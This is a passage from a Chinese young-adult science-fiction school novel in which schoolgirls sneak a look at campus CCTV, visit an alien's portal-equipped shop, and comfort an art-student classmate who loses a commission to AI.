“胡说!我什么时候说过我看监控!”张晓怡开始翻供。
颜阎举手投降:“我说,我说!你先把手机放下!”
张晓怡半信半疑地放下手机。颜阎一个箭步冲进馄饨店,被落差极大的楼梯抛到空中,一头撞上饮料柜。
自费购买饮料一瓶以敷头顶,颜阎坐在油腻腻的餐桌前,对面是有点心虚但主要还是烦的张晓怡。
“从实招来。”张晓怡用勺柄指着她,“看监控干嘛。”
颜阎眨眨眼,刚刚撞出来的包在头发下捉迷藏,热乎乎鼓胀胀,从这边滚到那边。她的眼眶酸不溜秋,店里陈醋的味道到处飘散,让她的鼻子也开始酸了。
“我有个远房的姐姐,家里两个弟弟。她考到临江后想在那边工作,家里不愿意,让她回县里,不然不给她买房。她自己付了首付,在临江买了个小房子,每天通勤四小时。她弟弟二十岁就结婚了,家里让她出钱,她不愿意,家里人就不让她回来过年了。今年她最小的弟弟生了小孩,弟妹一直偷偷给她钱,她特别感激,所以特意包了个红包回家。结果九月二十八号骑车经过学校门口时被撞了,现在还在医院里,再多躺几天公司估计就不要她了,这样下去房贷还不上。家里人不愿意出钱,弟妹也实在手头紧,我和她关系好,想帮她找找肇事司机,她也能把这个窟窿填上。”
颜阎说着,声音低了下去。
张晓怡后悔不迭。虽然她姐姐确实很可怜,但她还是想说:“关我什么事!”
可气氛烘托到这儿了,真的说出口就显得太反人类了,她捏着鼻子自认倒霉:“行吧,行吧,我帮你。具体事项明天上午放学后商量。出事和我没关系,我也不会捞你!”
颜阎跳起来,抓住张晓怡的手上下摇晃:“谢谢张女士!你是我异父异母的亲姐妹!”
张晓怡指着门外,发号施令:“滚!”
“好嘞!”颜阎乐呵呵地抓起桌子上的冰饮料,跳出地下室一样的小馄饨店。
她和刘征兰商量了半天,定下了这个人类绝对难以拒绝的理由。如果是刘征兰可能还会碍于性格说得磕磕绊绊,但她一向爱胡说八道,由她来说绝对情真意切,再配上刚撞出来的包,一切都很完美。
她在门口碰见的康烁影也很完美。
康烁影有点圆润,是那种青春期女生常有的圆润,但她五官很漂亮,也很会打扮,大家可以说她有点胖,但绝不能说她不好看。
完美的康烁影完美地眨了眨完美的眼睛:“颜阎?你怎么又来吃馄饨?”
“好吃!”颜阎随手抹了一把嘴,“我走了!拜拜!”
“拜拜!”康烁影完美地挥挥手。在她完美的光辉中,颜阎总感觉有一点怪异,是打光?妆容?还是神态?她也搞不明白。
但有一点是明确的,即使是完美的康烁影,在开学第一天也不可能保持形象!
假期结束了,所有学生都死气沉沉,行将就木,上课睡觉的概率上升到了十个百分点,睡觉指数达到了前所未有的高度,屡屡有人打破个人犯困的最佳记录。
榕城只有这一所高中,大家住的都不怎么远,偶尔有住在县里的也会在附近租房,所以高中没有食堂,大家中午都各回各家。
张晓怡放学时没有跟着康烁影一起,而是特意等了颜阎和刘征兰一阵。刘征兰蔫哒哒,颜阎哈欠连天,看起来都很不靠谱。
“都清醒点!听好了!”张晓怡拍桌子,“快点吃饭,下午一点,学校门口集合。到时候我假装和家长吵架,直接闯进里屋,让舅姥爷安慰我。你俩就直接去看监控。我最多拖半个小时,ok?”
“ok,ok。”两人小鸡啄米式点头。
走出富丽堂皇到有点莫名其妙的学校大门,两个人再次核对了神秘女高的信息。
女,高二学生。她们高二的校服正好卡在两次改版之间——高三的校服不分男女都是黑的,高一的校服肩上有两道反光条,只有高二的校服肩上是两道粉色装饰(很丑)。
当天她至少上了半天课。因为现在的天气正好不冷不热,出门不用穿外套。只有来学校的人才会把校服外套披上逃检查,到学校后再脱掉。
身高不算太高也不算太低,当天下午第一节课到第三节课之间有段时间不在学校(甚至不在地球)。
刘征兰若有所思地靠在光荣榜上:“我们查监控真的有用吗?”
颜阎困得发懵:“啊……哦,应该有吧。你看那个女生搬运血呼啦的外星人,总要沾到吧,沾到了就要回去换衣服嘛。”
“万一,她把衣服脱了,洗了把脸,根本没出校门怎么办?血味更好解释,说是来例假了就可以糊弄过去。”
“那样我们根本没办法查!”
刘征兰仰头想了想,把重心换到另一只脚上,“有没有可能,她出了校门,上了自己的宇宙飞船,然后碰到了外星人,看到外星人遇难就把
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他救了回来。然后她发现再不回来上学就迟到了,于是跑了。”
“但这样的话,她干嘛要回来?又干嘛要出去?归根结底,飞船也不一定就在学校外!”颜阎还是没办法把同学代入宇宙飞船驾驶员的身份,她光是想想就想笑,“都开飞船了!”
“学校里实在没办法藏个飞船。”刘征兰说,“这小破学校,藏个汽车都费劲。你们化学老师买辆新车,一节课后全校都知道了。”
“也是,除非飞船是个铅笔盒,否则的确没法藏。”
“是个书架也行,老师办公室最不缺书架。”
两人阴险地哼哼笑起来,笑完就分道扬镳了,再不回去饭都凉了。
等中午再来学校门口,颜阎居然更困了。
“怎么做到的?”张晓怡特震惊,“你树懒啊?”
“不要推卸给树懒!”颜阎反对,“我是人懒。”
但这也不能全怪颜阎。中午的榕城很安静,没有闹哄哄的学生,也没有打牌的退休老人,连麻雀和斑鸠都不乐意叫。整个城镇就像一块黄油,软绵绵、香喷喷地在正午的阳光里融化了。
刘征兰打了个哈欠,又迅速掐了自己一下:“速战速决。”她说。
张晓怡大摇大摆闯进门卫室,故意没掩上门。一进门她就抽鼻子,直奔门卫室里屋的行军床,坐在上面抹眼泪。她舅姥爷一看她进来,立刻来了精神。
长到他这个年纪,没什么权力,也没什么财产,更没什么交心的朋友。唯一能让他感受到自己重要性的就是参与家族活动,其中教育家里小孩儿是最有乐趣的一环。教育了张晓怡,不仅能充分展现自己的权威和人生阅历,回去还能教育她家长!一想到这里,他的精神陡然一震,乐颠颠地跑进里屋了。
颜阎和刘征兰也乐颠颠地跑进门卫室了。
中午两人都查了监控软件的使用方法,这点点那按按,稀里糊涂一阵捣鼓,真的叫她俩把监控调出来了。
监控两周一覆盖,现在还来得及。两个人找到九月二十八号下午第一节课到第三节课下课的所有内容,开着八倍速,看了将近二十分钟,所有出校门的高二女学生都被她们拿手机拍下来了。
不看不知道,一看吓一跳。竟然有这么多人逃学!
临走前刘征兰在保安室外拍了下手,这是她们“任务完成”的暗号。
张晓怡没过多久也出来了,看得出来她被人生哲理磨得支离破碎:“找到了吗?”
“没有,我们到时候再挨个问问。”颜阎说。
张晓怡不关心,她只为自己解脱了而高兴。
刘征兰和颜阎拐到二班教室里做了个表,标出了几个逃学大师。
九月二十八号下午,去掉男生,再去掉高一和高三的学生,依然还有四五个。一、三、五班都没有体育和自习,刘征兰所在的二班和颜阎所在的四班都有一节体育课,天时地利人和,溜出去的人都是这两个班的。
二班的逃学大师是:宋悦馨、王海同、张晓怡(此人可以排除,打工打得太辛苦了,有空去外太空不如去抢银行)。
四班:郁霖雨、北极兔、颜阎同桌、姐姐(此人请假了,下午没来)。
刘征兰指着四班的名字:“这个‘姐姐’是什么情况?”
“外号。”颜阎说,“我们全班人都被我取了外号,她外号就叫姐姐。”
“旁边那个带大名的是?”
“她名字好听,没什么好取外号的。”
刘征兰无语。她习惯了颜阎叫人外号这件事,但没想到她在计划书上都写外号。
逃学大师总结完毕,下面要做的就是套话。一想到上学还要抽空社交,两个人都龇牙咧嘴,感觉前途无比灰暗,心情极其沉重,必须买点饼干犒劳自己。
5. 宇宙穿越杂货店
从学校往东三十米是另一片小区。小区门口有两家杂货店常年竞争,已经达到了动态平衡。
而这片竞争激烈的商业区竟然开起了第三家杂货店!
杂货店门口没有花篮也没有红毯,甚至没有开业大酬宾的横幅,只有一个空荡荡的店名,上书“莫妮卡杂货店”。店里柜台后面,一个腿上打着石膏的男人跷着腿玩手机。
玻璃门被推开了,两个女生走进来。一个瘦瘦高高,鼻梁上架着一副方框黑眼镜。另一个扎着高马尾,头发奇长无比,发尾垂到腰上。
马尾女生嗓音洪亮:“你好!有冰红茶吗!”
男人看了看她,又看了看她身边的瘦高个,很无语:“怎么又是你们?”
瘦高个纠正:“我们第一次来。”
“确实。”男人挪了挪腰带。他的身体顿时像一块玻璃那样破碎、模糊,光影在他身上扭曲,外形一层层剥落,身高拔地而起。很快,在天文台见过的那个男人出现在颜阎和刘征兰面前。
刘征兰想跑,吐槽的欲望绊住了她的脚:“科技高到变脸了,怎么还打石膏!”
“物流不支持,没有医疗设备。”男人说,“我才要问,你们地球的医疗没问题吗,我怕我以后留后遗症。”
“地球科技,不爽不要用!”颜阎叫。
刘征兰更想问更关键的问题:“你哪来的钱?合法吗?我们地球的经济比较脆弱,经不起瞎折腾,一不小心就金融危机了。”
“合法,合法。”男人强调,“我们在地球也有组织。你们这儿地皮不贵。”
……小县城是这样的。
离上课还有半小时。颜阎和刘征兰拉来两张椅子,坐在男人对面,互相加了联系方式。这时她们才知道,对方的名字叫:律易棋。
“你姓律?”
“我没有姓,这个就是名,音译的。”律易棋说,“这个词在我的母语里的意思是,‘不要’,是个否定词。”
非常有个性。两人严肃地在名字后面加了备注。
“你们……呃外星人来地球到底是干什么的?”“外星人”这个词太让人羞耻了,刘征兰挣扎了一会儿才说出来。
律易棋没有隐瞒的意思:“星际文明一直在关注地球这样未和星际接轨的爬行文明,只是地球太边缘了,星际文明倾注的关注不多,措施也不多。而我们……”他拖长声音,“我们是逃犯。”
刘征兰倒吸一口凉气,“星际逃犯?”
“恩。”
“你是来逃难的?”
“不。”律易棋摊手,“我们是帮助别人逃难的。”
颜阎说:“涉黑组织?”
“革命组织,叫掮木。”
颜阎肃然起敬。
“那您怎么就沦落到当逃犯了呢?”她说话带上了敬称。
律易棋没有说话,他只笑了笑:“我们的问题。”
世界大部分的革命组织都经历过逃犯阶段。颜阎深以为然地点点头:“这也不能成为你在我朋友脑子里装炸弹的理由。”
律易棋哈哈大笑。
他实在很高,笑的时候腿差点蹬翻颜阎的椅子。
律易棋没有回答颜阎,但他说可以回答一些她们好奇的小问题。
“爬行文明是什么?”刘征兰还记得他在天文台说的话。
“就是科技水平较低的文明。”律易棋解释,“你们的能量利用率太低了,太空旅行的速度过慢,像在爬行。能使用亚光速飞行器的叫行走文明。而可以‘跳格子’的就是跳跃文明。”
“跳格子?”
“压缩两个地点之间的距离,快速到达目的地。”律易棋解释道,“和前两种行动方法比起来,这就像在跳,而不是爬或者走。”
看到两个人怀疑的表情,他没多说话,而是打开手机看了一眼:“你们还有多久去上学?”
两个人看了看时间,还有十五分钟。
“来!”律易棋用拐杖支起自己,两下跳到仓库门口,在雪碧、饼干和方便面之间灵活穿梭,刘征兰看不下去,帮残疾人从货架后面拖出一个蒙着窗帘布的巨大东西。
律易棋扯下窗帘布,一面镜子出现在眼前。
镜子十分厚重,框架是银色的金属,金属表面有一层精密的刻痕,一条刻痕的开头接着另一条的结尾,居然有一种几何学的美感。
律易棋从饮料堆里找出一个像是玩具汽车遥控器一样的东西,十指翻飞按了几个按钮。
镜子的表面如同水波一样颤抖起来,一种奇异的变化从四角蔓延到中心。整张镜子不再反射镜像,它的表面开始扭曲、蠕动,一个平面渐渐有了深度。
镜子变成了一条长长的隧道,隧道里面没有物体,只有混杂的缤纷色块,就像物体被挤压后的形态堆叠。
律易棋低下头,右手握拳抵在左手掌心上,似乎在行礼:“请吧,二位。”
变换的隧道散发着令人不安的气息,强烈的未知斥力般向外推着二人,似乎只要进去了就会被巫师的诅咒永远囚禁在这个迷幻的隧道里,抑
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或者是异界的怪物准备将她们的身体碾碎吞下。
刘征兰望着颜阎。
颜阎沉吟片刻,转头和她对视:“我要进去。”她说,“不会有这样的机会了,就算进去就会死,我也一定要进去。”
刘征兰想了想:“那好吧。我和你一起去。”
律易棋笑起来:“不用这么紧张,朋友们。我先。”
他踏入隧道,整个人悬浮在镜中,身体既没有碎裂也没有消失。他向两个人伸出手示意:“来吗?”
“能不和你手拉手吗?”颜阎很嫌弃。
“隧道里的重力很混乱,我建议你们还是拉着我比较好。”律易棋说。
两个人苦着脸,最后由颜阎抓住律易棋的拐杖,刘征兰牵着颜阎。三节小火车正式进入轨道。
隧道里的重力的确很混乱,每个方向都有引力,地球土著的身体左摇右摆,就是不能站定。
律易棋鞋底有斥力系统,能让他暂时保持平衡。他调整了角度,“呜”地窜出去。挂在他身后的火车车厢亦步亦趋跟着他。
隧道里的声音也很混乱,她们一会儿听到震耳欲聋的行星爆炸声,一会儿又听到脉冲星低沉的振动,星星的梦话、天体的谜语、生物们的妄言,潮水一般涌动在迷幻的隧道中。她们专注地听着,仿佛世界上所有的语言、所有的声音都在这里了。
科学狂人刘征兰很着急:“宇宙的终极公式在哪?”
颜阎也很着急:“我怎么好像听到上课铃了?迟到了吗?”
直到重力恢复,她们才回过神——到站了。
她们从另一面镜子中走出,面前没有光污染和高楼大厦,而是一片郁郁葱葱的树林,湿润的泥土气息扑面而来,阳光从树叶的间隙中倾泄而下。
这一面镜子斜靠着粗壮的树干。两人上下摸了一通,确定这是真树,不含一丝塑料。
“这就是跳格子。”律易棋说,他看起来笑吟吟的,像一个老师在给年轻的学生讲课,“很神奇吧!”
刘征兰忙着研究镜子,没空理他。颜阎抽空发言:“我还以为你会带我们去更神奇的地方,宇宙什么的。”
“跳格子也得有格子,这个格子和宇宙不相连。”律易棋推了推两人,“好了,回去吧。”
“这就回去了?”刘征兰不愿意,“我再看一会儿不行吗?”
“可以是可以。”律易棋说,“但是你们是不是该上课了。”
两个人看了看手机,发出了惊天动地的哀嚎:“迟到了!!!”
6. 大师之作
刘征兰最终还是迟到了。
数学老师不忍训斥自己的爱徒,让她直接回到座位上。
对面四班罚站的颜阎苦哈哈地对她比了个耶。
刘征兰觉得太丢脸了,全程没有抬头,这让她正好和桌子上的纸条撞上了视线。
“小刘女士,我拿错杯子了,不好意思。我帮你接好水放回来了。
PS:没用你的杯子涮笔,放心使用。
——王海同。”
“什么杯子?我杯子带回去了啊?”
刘征兰的视线转了一圈,找到了第四排的王海同。对方也在看她,方框眼镜后面的杏仁眼朝她心照不宣地眨了眨。
刘征兰忍不住眯起眼睛。不是因为她近视,也不是为了回应对方。
而是王海同太耀眼了。
光彩照人,字面意义上的光彩照人。王海同坐在人类当中,就像一个亮度略暗的小迪斯科灯球,从不同角度进行光的漫反射。她的同桌把头埋在胳膊里,避免被她的光彩波及,后桌用离她更远的那只眼睛看黑板,数学老师戴上了墨镜。
下课铃打响的一瞬间,所有人都围向在王海同,就像蛾子围着路灯,蚂蚁围着蜜糖,记者围着大新闻。
刘征兰:“你这个,呃,是怎么造成的?颜料抹身上了?”
王海同笑嘻嘻的:“不知道,可能是防晒霜出问题了?”
“出什么问题能让你变成迪斯科灯球,致死量荧光剂?”
王海同不知道。她今天喜滋滋的,一点都不介意自己成为各种意义上的焦点。
今天,就算是天塌下来,也不会影响她的快乐。
“因为,我要接到商稿了!”她跳到自己的椅子上,大声宣布,“我要赚钱啦!”
大家情不自禁地鼓掌。
刘征兰一边鼓掌一边冒冷汗。
王海同放在她桌上的水杯压根不是她的,根据她和颜阎的回忆,那个水杯更像是她们从书包里拿出来那个。她们当时,竟然,忘了把那个杯子放回去了!
她觉得这事指定和那个绿色书包有关系。
事实上的确有点关系。
九月二十八日晚自习前,就在颜阎和刘征兰大战粘液怪的时候,王海同来到教室,靠着刘征兰的桌子和她的同桌说了一会儿话,临走前拿走了自己的水杯。
然而她拿错了,她拿的既不是自己的杯子,也不是刘征兰的杯子,而是从绿色书包里拿出的那个不知名水杯。
如果她们三个中任何一人,拥有一星半点的星际文明生活常识,她们就会知道,这是“亮点液”,无害,一般用于舞台妆造。夜间出行时也有人会往衣服上喷洒,避免融入黑夜被车辆撞倒。最近在社交软件“咚咚”上,还衍生出了短期荧光纹身、标记宠物和孩子等作用。价格不太美好,但效果十分出挑!
可惜三人都是地球土著,毫无星际常识。于是心不在焉的王海同带走了这个水杯,到了画室才意识到不对头。
来都来了。她硬着头皮倒了点水稀释颜料,冷着脸画色彩。
她是两个重点班里唯一的美术生。她的文化课不错,老师家长都希望她回来当文化生,可是她还是选了美术。
她在色彩方面极有天赋,老师很喜欢她,但又对她老是不来上课感到不满。
“想走艺术就好好画,想走文化就好好学,一心二用,哪个都学不好。”这是老师的原话。
王海同目前还在踌躇。首先,让一个十七岁,完全没经历过社会的学生通过一场考试决定自己的一生,本来就很不合理。其次,她的确有点迷茫。
她本来觉得,依靠自己的天赋,无论如何也有口饭吃的。但在教师节那天,一个毕业的学生回来看望老师,老师向他介绍了王海同。那个学生站在她身边看了一会儿,用手机调出一张画给她看。
“这张你觉得怎么样?”
王海同看了一眼,愣住了。
用色很大胆,藏色技巧十分纯熟,有一些小小的错误也可以忽略不计。但对方的线条过于准确,以至于有点生硬,就像是……
王海同问:“这是ai?”
学生点头:“我公司做的的。”
王海同脸色煞白:“逻辑性已经超过大部分ai了。”
“嗯。而且……”学生说出了那句她不想说的话,“已经接近人类了,很快,它就会超过人类。”
“你跟我说这些干什么?”
“你技巧很好。”学生在她身边坐下,“我说实话,我对绘画行业的未来很消极。ai更便宜,更快速,人很快就会沦为它的助手。我听老师说你是重点班的,我……”
他停顿了一下,看了看王海同的表情。确定她
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没有激动,才小心翼翼地说:“我建议你,去学文化课吧。我知道你肯定是非常热爱绘画的,我也是。可是ai的发展速度比人类要快太多了,你要是实在想画画,可以在业余时间画,也可以学计算机,一个有绘画基础的ai调校师才是最吃香的。当然,你也可以继续学画画,但是绘画行业已经严重饱和,再加上ai的发展,太容易找不到工作了……我也是待业三年,约稿养不活自己,实在没有办法了,才去做ai……”
王海同沉默不语,画笔摩擦着纸面,像是她的心摩擦着肋骨。
一直到国庆放假之前,她都心烦意乱,这才拿错了水杯。
亮点液混在了颜料里,颜料涂在画纸上。神秘的光彩晃到了画室老师的朋友。
此人正在创业期,梦想是打入国产小程序游戏市场。目前已经有了程序员和初步计划,唯独缺画师,这次来画师也是想从学生里找到便宜的画手画立绘,最好能打折。王海同的画充满了“亮点”,令他耳目一新。
“这色彩,这意境,这象征!”他举起画框画板,“简直就是大师之作!”
很多时候,人就是缺一个机遇。没有伯乐就没有千里马,没有萧何就没有韩信,没有亮点液就没有王海同的约稿!
创业家力求在下沉市场中打开上流艺术的大门。王海同对这件事表示怀疑,但对钱表示肯定。一想到自己获得了真正意义上的商单,她整个人都喜气洋洋,扬言要把自己的蘑菇头染成红的,喜庆一下。
其中刘征兰受到了她格外隆重的感谢。她说刘征兰的水杯也起到了重要的庇护作用,感谢她的远程祝福。
……怎么说呢,那个水杯的确起到了重要作用,但不止是庇护这么简单。
刘征兰和颜阎放学后就杀到了杂货店,把杯子展示给律易棋看。
“有害吗?有毒吗?我同学用那个水杯里的水洗了洗手,今天变成大灯泡了,还有救吗?”刘征兰紧张地问。
律易棋看了看那个瓶子:“亮点液,舞台妆用的。洗个澡就没了。”
两人松了一口气。
“你俩哪来这么多奇怪的东西?”律易棋反过来问她们,“上次的枪也是,这次的亮点液也是。到底是谁给你们的?地球还有别的神秘组织?”
“你别管!”两人不欲暴露绿色书包的秘密,一溜烟离开了。
7. 下午五点公交车站
刘征兰打死也不愿意去找宋悦馨套话。
“你俩一个班的,还是发小,不找你找谁?”颜阎说。
“这小破城镇就这么大,总共就一个初中一个高中,谁和谁不是发小!”
“那我去?”
刘征兰扭捏了好一阵,最后说:“还是我去吧。你去我怕你俩互相阴阳起来。”
宋悦馨是那种和老师关系很好的学生。她越是积极张罗着给老师送礼,在学生中风评越差;越是跨过班长承担重要事务,学生对她越警惕;越是在师生矛盾中当调解员,学生越觉得她势利眼。
对此,康烁影女士发表了重要讲话:你背叛了阶级,驱逐!
好在她有自己的小团体。几个成绩优异的女生凑在一起,平时也不算很孤单。
刘征兰一凑过去,她们就把她拉进来,让她看自己的铅笔盒:“酷姐来啦?快看看,好看吧!”
紫色和粉色为主的铅笔盒,后面有一块透明的区域,似乎是用来放一些金属徽章、卡片和装饰品的。她们把那个小区域塞得满满当当,还加了一些干花和珠串当配饰。
刘征兰点头:“好看。”
几个人爆发出一阵莫名其妙的笑声。
刺耳的笑声中,刘征兰扯着嗓子问宋悦馨:“你放假前一天出门干什么?”
“什么?”宋悦馨扯着嗓子回答,“你问这个干什么?”
刘征兰把颜阎编的说辞从头到尾复述一遍。
宋悦馨笑嘻嘻地说:“买了点吃的。”
“真的?”
“真的!你怎么不信我!”
刘征兰半信半疑。学校里也有小卖部,外面的杂货店种类比较多,的确有人冒险出门,但宋悦馨出门的时间比较长,够她去杂货店三个来回了。
她从宋悦馨的小团体里挤出来,旁边的张晓怡拉住她,将她拖到墙角,第一句话就是:“她说谎。她明明是去拍马屁了。”
“你又知道了?”
“废话,我也逃学了,我能不知道!”
逃学还理直气壮了。
张晓怡说,宋悦馨当天去驿站拿了一个快递,又去超市买了一个零食大礼包。
“她上着学拿快递?不能放学拿吗?”
“你怎么不问问神奇康烁影为什么呢?”张晓怡的语气曲里拐弯。
刘征兰在众人之间绕来绕去烦得要死,发誓这是最后一次跑去找人。
康烁影还算给力,毫不拖沓:“哦,那是宋悦馨送给咱们班二皇子的生日礼物。”
“你怎么知道?”
“你以为你和张晓怡不在时我在干嘛?我在周天子办公室补作业啊!”
拼接了康烁影和张晓怡的证言后,真相浮出水面。
周天子——就是班主任——的儿子,生日要到了。宋悦馨抓紧一切机会巴结老师,专门赶在老师离校前把礼物送给她,为了表示敬意,还把家长的礼物和学生的礼物分开。周天子不收家长送的贵重礼物,至少也会收学生的零食大礼包。
她本来准备趁所有人都在操场撒欢的时候送礼,没想到康烁影女士没写英语作业,被拎到办公室站着补,两人正好撞见。
“那周天子收礼了没有?”刘征兰追问。
“有我在,她不可能当着学生的面收礼。”康烁影甩了一下栗色的长发,“宋女士的失败,就是我们全体学生的成功!万岁!”
张晓怡一把捂住她的嘴:“小声!敌方仍在暗处!警惕隔墙有耳!”
康烁影比了个“ok”。
宋悦馨的时间线对上了,二班只有王海同在九月二十八号行踪不定。
说到王海同……
“我们班的迪斯科灯球去哪了?”刘征兰问。
“你说王海同?”康烁影撑着下巴嘿嘿笑,“她退化了。她现在已经不是迪斯科灯球了。”
“她连灯泡都算不上了。”张晓怡补充。
“对。她现在只是一个普通的小蘑菇头。”
王海同身上的亮点液已经消失得差不多了,只有淋上了大量未稀释亮点液的双手还发着淡淡的微光。
“……好吧。”刘征兰妥协,“小蘑菇头去哪了?”
另外两人齐声说:“不知道!”
此时此刻,颜阎一个急刹停在二班门口:“刘征兰!快快快快来!”
她从牙缝里挤出一句话:“王海同又逃学了。”
王海同的嫌疑骤增。
王海同下了楼,向校门的方向走去。两个人追出去的时候,王海同已经走到学校门口,门卫看了她一眼,点点头就让她过去了。
艺术生!
颜阎和刘征兰戴上口罩,也自称艺术生,门卫半信半疑地放她们出门。
甫一踏出校门,颜阎就狂叫:“王海同!王女士!”
王海同站在车站前,回头看了她们一眼。夕阳在她眼泪的橘色里闪烁。
公交停在车站前,王海同一言不发地踏上了公交。
“怎么办?”刘征兰问。
“上上上上!人家都哭了,怎么说也得把她带回来是不是?”颜阎二话不说就要冲。
刘征兰气急:“没零钱没手机怎么坐车!”
话音刚落,一张包着巧克力脆香米的五块钱纸币就从马路对面飞旋到颜阎脸上:“拿着!”
律易棋拄着拐杖站在对面的人行道上:“上!有什么事我帮你们摆平!”
谢谢你!但逃学后最需要摆平的是老师和家长啊!
两个人欲言又止地接过硬币,冲上公交,一左一右地把王海同夹在中间坐下。
谁都没有说话。
公交车过了三站,骨碌碌的轮子碾过七八条减速带,高中、初中和公园都从眼前晃过。颜阎终于喃喃自语起来:“我妈妈一定会生气的……”
王海同阴森森地说:“家庭幸福的妈宝女不许说话。”
颜阎牢牢拉上嘴巴上的拉链。
又过了一阵,还是没人说话。公交已经离开了榕城。颜阎小心地拉开拉链:“你要去哪?”
“我不知道。”王海同说,她的声音里带着浓浓的鼻音,“先坐着吧。”
她的泪痕像是生在脸上的树根。
颜阎找司机借了一包纸巾塞到她手里,等她擤了鼻涕,声音轻轻地问:“你哭什么呀?”
王海同说:“人……”
“人?”
她忽然站起来,跳到公交车中央,大声宣布:“人类完啦!”然后蹲下身抱住自己,又哭起来。
这个时间,公交上只有她们三个和司机。司机看起来已经习惯了,没什么表示。
颜阎和刘征兰费劲地把她扶回去坐下。从她断断续续的叙述中,两人勉强理解了她的意思。
那个找她约稿的创业家取消了订单,准备用ai了。
“人类创造出一切,就是为了让自己更快地毁灭!”王海同怒吼。
颜阎和刘征兰都不太会安慰人,只能你一句我一句轮流劝。
颜阎:“没事没事,他没眼光。ai现在和人还没得比。”
刘征兰:“对对对!现在还有很多人抵制ai,他肯定赚不到钱。”
“抵制真的有用吗?”王海同闪闪发光的手绞在一起,“你们实话实说,你们觉得抵制真的有用吗?”
“没有。”颜阎干脆地说,“在商业和社会的发展中,道德往往是最没用的部分。”
司机回头看了她一眼,眼神在说:你就不能安慰一下吗!
刘征兰表示同意:“如果真的有用,ai根本就不会被广泛应用。ai抵制的浪潮目前只是在画师的小圈子里,除非抵制变得更广泛化、商业化,否则道德谴责是不会有用的。”
司机无语了。
“我的网友劝我继续学美术,因为我喜欢画画。她们说ai违反版权法,还说ai的尸块作画没有灵魂。可是……我也认为道德在商业的进展中毫无作用,对艺术版权的尊重也并不能真的阻止ai发展。而且我学绘画也不可避免地要学习和临摹前人的作品,如果ai发展充足后,解构大量作品并学习风格,真正做到了没有拼接感,这还算不算尸块呢?”
王海同摘下眼镜,用手拢住自己的眼睛:“而且灵魂又是什么?如果ai的算力足够
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,能做到有逻辑地绘画和写作,让读者分辨不出人类和ai,让读者能产生共鸣,甚至喜爱上‘作者’,这算不算有灵魂?如果这些问题不能被反驳,我们也只是在抵制低水平的科技而已。总有一天,ai会比人类的画师强大、高效。到了那一天,我们又该怎么办呢?”
她的眼泪洗刷了手上仅剩的亮点液,那双手上最后的光芒也消失了。
刘征兰没有说话。她脑袋里那颗定时炸弹让她能听懂很多语言,但有些词汇并没有对照的中文,所以只能留下一个音译。只有眼泪是全球性的,乃至宇宙性的。每个人都会流泪。
多神奇啊,一个人悲伤时,她的眼睛会分泌水和盐分,听起来多么不可思议,可是人们居然能如此平常地接受它。
眼泪就神奇在这里。就算你可以穿越时空,就算你接触过神秘的未知科技,在朋友的眼泪前,你也只能沉默。
颜阎把王海同的手揣进怀里,让她靠在自己的肩上:“我没办法回答你。世界上曾有铁匠,如今他们消失了,世上也曾有补锅匠,他们也不见踪影,世上曾有代笔,他们融入了过去的传说里。画师、作家、程序员,再到工人、快递员、面包师,我们都有可能是下一个被淘汰的人。解放劳动力解放劳动力,可是被解放的劳动力并没有去处,我们就这么被牺牲了。
这是不正确的,可它的确在发生,在进步的大旗下,一切的伦理和道德都被踢开了。我们可以做到的,只是在它没有发展到代替人类的程度之前,率先进行立法,然后再慢慢地、温和地,寻找我们和科技的平衡点。即使这很难,这也是我们唯一的办法了。”
“可是我喜欢画画……”王海同哭得有些困倦。她眯着眼睛,一只手牵着刘征兰,另一只手在颜阎怀里扣着她的手,“那画画,就沦为ai的活动了吗?那我的学习,我的训练,我对画画的爱,在那样的高效中又算得了什么?”
“你的还是你的嘛。我们要讨论的是商业和它的关系,又不是你和它的关系。”刘征兰很轻松地拍了拍她的后背,“如果你只是想画画,那就画嘛。就算是ai也不可能精准地读取你的心,你画出来的东西永远都是你的。你要做的只是考虑ai和商业的关系,ai和版权的关系,ai对画手产业的冲击。最不需要讨论的,就是ai和爱的关系。ai还没有发展出这个插件,它的操作者们更不在乎爱。你只需要和在乎‘爱’的人讨论爱,跟商人和无所顾忌的科技狂热者,你要谈法、谈商业,唯独不要谈爱。”
王海同的啜泣声变弱了。
“可是我,就是因为想快乐地生活,才去学美术的。”她说,“我喜欢画画,也有点天赋,虽然不是最顶尖的,但还是够的。我想用喜欢的东西赚钱,过有点累但还是很幸福的人生!就是因为钱和快乐我都想要我才去学美术的,现在我必须选一个了!难道没有两全的办法吗?既想要快乐又想要钱,这很过分吗?”
“完全不过分。”刘征兰握紧她的手,“你没要到不是你的问题,这次不是中二病,这次真是世界的错。”
颜阎换了一个姿势,让她靠得舒服点:“确实,这就是工作对人的异化。”
王海同:“什么意思?”
“马克思说的,简而言之就是:你要是工作得不快乐,那就是工作的错。”颜阎胡说八道。
“马克思说得对。”王海同信了。
她一直吊在胸中的那口气松懈了,这让她整个人软绵绵地瘫在座位上:“我要重新思考我的专业了……”
“没事,来得及。”刘征兰故作轻松,“高考还早着呢。”
“对。不管你选艺术还是文化都没事。”颜阎道,“大不了和我一起去捡垃圾。”
三个人谁也不再说话。车窗外的路灯打开了,那光芒像是外星飞船的入口。居民楼的光、车灯和低空飞旋的小蝙蝠构成了城市里最常见的景象。在她们眼中,城中盘踞着一种空虚,一种人与人之间毫无关联的冷酷。
车正对着太阳的方向开,迟暮的血色布满车窗。王海同的心啊,又酸又软,像是一颗熟透的、汁水丰沛的梅子。
西方,落下了火红的太阳。
8. 精神小妹症候群
反正都进县了,三个人破罐子破摔,跑到汤记云饺去吃晚饭。
颜阎和刘征兰借王海同的手机跟家长说不回家吃晚饭,又用王海同的手机付了款。
蘑菇头吃饭很不方便,王海同又没有带小皮筋。颜阎出了个馊主意,她把自己的高马尾“刷拉”扯下来,只留下松鼠尾巴长短的一小截。撕下来的那部分居然是假发,用尼龙搭扣带很草率地缠了一圈绑在一起,尼龙扣上还沾着几根她的头发。
“给你。”她把尼龙扣带递过去,“扎一下。”
“婉拒了哈。”王海同拒绝。
颜阎按着她,给她绑了个冲天揪。
她嫌头发太长扫脖子,一直是短短的高马尾,非常违和,但很有辨识度。
最近学校政策突然收紧,男生头发不过眉,女生头发——看情况查,反正一班有个女生因为梳了不怎么长的双马尾,被老师骂太妹,还附带了难听的话。
她干脆用假发草草做了个超长马尾,没什么用,纯粹叛逆,用以宣扬:有权威的地方就有她反骨仔。
同学都见怪不怪了,甚至懒得问她。
